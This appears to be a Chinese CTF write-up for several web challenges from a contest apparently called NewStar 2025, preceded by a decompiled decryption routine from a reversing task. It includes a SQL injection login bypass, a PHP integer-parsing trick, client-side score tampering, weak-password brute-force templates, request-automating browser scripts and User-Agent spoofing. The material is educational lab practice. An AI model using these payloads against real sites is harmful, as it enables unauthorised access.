aes_de(aes_out, rc4_out, 32, aes_key, aes_iv);
memcpy(out, aes_out, sizeof(out));
v[0] = 1751720303;
v[1] = 1633904993;
k[0] = 1;
k[1] = 2;
k[2] = 3;
k[3] = 4;
btea(v, 2, k);
x0r(out, 0x20uLL);
putchar(10);
return 0;#在这里打断点
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __cdecl x0r(const unsigned __int8 *cipher, size_t len)
{
size_t v2; // rax
size_t i; // [rsp+18h] [rbp-18h]
size_t i_0; // [rsp+20h] [rbp-10h]

v2 = len;
if ( len > 0x20 )
v2 = 32LL;
for ( i = 0LL; i < v2; ++i )
flag[i] = cipher[i] ^ 0x51;
if ( v2 <= 0x1F )
{
for ( i_0 = v2; i_0 <= 0x1F; ++i_0 )
flag[i_0] = 0;
}
flag[32] = 0;
}

web

1.multi-headach3

扔给ai,查了一下访问~/robots.txt

访问/hidden.php后直接跳转/index.php

ctf-攻防世界-web:baby_web_flag is hidden!-CSDN博客

参考文章之后发现用yakit抓包即可:

将包请求换成/hidden.php即可获得flag

flag{f3ad3e4a-38da-449d-aea1-c0b61a468083}

2.strange_login

输入即可

原理:

所以执行了'admin' OR '1'='1'

3.宇宙的中心是php

访问[http://8.147.134.121:24734/s3kret.php](http://8.147.134.121:24734/s3kret.php)

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
$answer = $_POST['newstar2025'];
if(intval($answer)!=47&&intval($answer,0)==47){
echo $flag;
}else{
echo "你还未参透奥秘";
}
}

要求10进制不等于47但是自动检测基数解析时等于47,就用16进制:

4.别笑,你也过不了第二关

先玩过第一关

观察源码:

修改获取的分数,最后结束:

1
2
3
score = 1000000;
scoreEl.innerText = "分数: " + score;
endLevel();

undo5.我真得控制你了

这里没有办法启动

把这里的shieldoverlay删除即可启动

启动跳转至[https://eci-2ze12m5yfvnpt5qmeusd.cloudeci1.ichunqiu.com:80/weak_password.php](https://eci-2ze12m5yfvnpt5qmeusd.cloudeci1.ichunqiu.com:80/weak_password.php)

弱口令

用yakit弱口令爆破没结果,放一下:username={{file:line(D:\Program Files\Yakit\yakit-projects\temp\tmp908375361.txt)}}&password={{file:line(D:\Program Files\Yakit\yakit-projects\temp\tmp667154937.txt)}}

[https://eci-2zefcob15uo91qkw5oy1.cloudeci1.ichunqiu.com:80/portal.php?newstar=~~2025](https://eci-2zefcob15uo91qkw5oy1.cloudeci1.ichunqiu.com:80/portal.php?newstar=~~2025)

6.黑客小W的故事(1)

脚本跑了一下如果光点击的话是没有办法直接到第二关的,于是乎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(function autoHunt() {
fetch('/hunt', {
method: 'POST',
headers: {'Content-Type': 'application/json', 'Cookie': document.cookie},
body: JSON.stringify({count: 100})
})
.then(res => res.json())
.then(data => {
if (data.NextLevel) return location.href = data.NextLevel;
if (data.GeoCount) return setTimeout(autoHunt, 300);
if (data.Gushen) {
const gushenImg = document.getElementById('Gushen-img');
if (gushenImg) gushenImg.remove();
return setTimeout(autoHunt, 3000);
}
console.error("未知响应:", data);
setTimeout(autoHunt, 1000);
})
.catch(() => setTimeout(autoHunt, 2000));
})();

于是就到第二关。(当然他提示抓包,但是我发现抓的包每次发送是一样的,但是接收不一样,emm不知道啥意思。)

第二关:

提示:

[https://eci-2zec9jzeyoxii6alc9bx.cloudeci1.ichunqiu.com:8000/talkToMushroom](https://eci-2zec9jzeyoxii6alc9bx.cloudeci1.ichunqiu.com:8000/talkToMushroom?shipin=mogubaozi)根据提示在网址后面加[?shipin=mogubaozi](https://eci-2zec9jzeyoxii6alc9bx.cloudeci1.ichunqiu.com:8000/talkToMushroom?shipin=mogubaozi)变成 [https://eci-2zec9jzeyoxii6alc9bx.cloudeci1.ichunqiu.com:8000/talkToMushroom?shipin=mogubaozi](https://eci-2zec9jzeyoxii6alc9bx.cloudeci1.ichunqiu.com:8000/talkToMushroom?shipin=mogubaozi)

交互也变成这样了

根据上面提示的跟蘑菇提一下guding

所以在~/talkToMushroom?shipin=mogubaozi提交guding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 自动创建并提交一个表单(会导航到响应页面)
(() => {
const f = document.createElement('form');
f.method = 'POST';
f.action = '/talkToMushroom?shipin=mogubaozi'; // 目标 URL(同源)
f.enctype = 'application/x-www-form-urlencoded';
// 添加要提交的字段
const add = (name, value) => {
const i = document.createElement('input');
i.type = 'hidden';
i.name = name;
i.value = value;
f.appendChild(i);
};
add('msg', 'guding'); // 普通说话字段
// 如果需要伪造 DELETE(服务器支持_method覆盖),可启用下一行:
// add('_method','DELETE'); add('what','chongzi');
document.body.appendChild(f);
f.submit(); // 提交并导航
})();

这里的msg可以换成其他的名字(因为这只是一个变量的名字)

提交之后返回的包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</button>
</body>
<script>
talk = [
"\u54e6\uff0c\u4f60\u662f\u8bf4\u9aa8\u9489\u5417\uff1f",
"\u8fd9\u4e2a\u9aa8\u9489\u6211\u6709\u5927\u7528\uff0c\u4f60\u5f97\u5e2e\u6211\u70b9\u5fd9",
"\u8fd9\u6837\u5427\uff0c\u4f60\u7528 DELETE \u7684\u65b9\u6cd5\u628a\u6211\u8eab\u4e0a\u7684\u866b\u5b50(chongzi)\u90fd\u5f04\u6389\uff0c\u6211\u5c31\u628a\u9aa8\u9489\u7ed9\u4f60",
];
document.getElementById("talk-btn").onclick = function () {
const feedbackDiv = document.getElementById("feedback");
feedbackDiv.style.color = "green";
feedbackDiv.innerText = talk[Math.floor(Math.random() * talk.length)];
};
document.getElementById("hint-btn").onclick = function () {
window.location.href = "/hint_MatoHelpsYou";
};
</script>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(async () => {
try {
const url = "/talkToMushroom?shipin=mogubaozi";
const resp = await fetch(url, {
method: "DELETE",
credentials: "include", // 带上 cookie(同源或服务器允许)
headers: {
"Content-Type": "application/x-www-form-urlencoded"
// 不能手动设置 Origin 或 User-Agent
},
// 有些服务器/代理会忽略 DELETE 的 body,但 fetch 允许发送
body: new URLSearchParams({ what: "chongzi" }).toString()
});

const text = await resp.text();
// 把返回的 HTML/文本渲染到当前页面
document.open();
document.write(text);
document.close();

// 可选:把地址栏替换为目标 URL(不触发导航)
history.replaceState(null, "", "/talkToMushroom?shipin=mogubaozi");
console.log("DELETE done, status:", resp.status);
} catch (e) {
console.error("DELETE failed:", e);
}
})();

后面又反复了一轮(提交这个post)就出提示了

访问~/Level2_END:

根据提示把UA改了:CycloneSlash

  • 打开目标页面,按 F12 打开 DevTools。
  • 右上角三点菜单 → More toolsNetwork conditions(或按 Ctrl+Shift+P 搜 “Network conditions”)。
  • 在 Network conditions 面板里,取消勾选 Use browser default,在 User agent 下拉选择或粘入自定义 UA 字符串

换完之后出现了这个:

↑这应该是改错了的意思

改成这样就有下一个提示了

所以把名字改成:

CycloneSlash/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042

DashSlash/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042

就进入了下一关

怎么这么长。。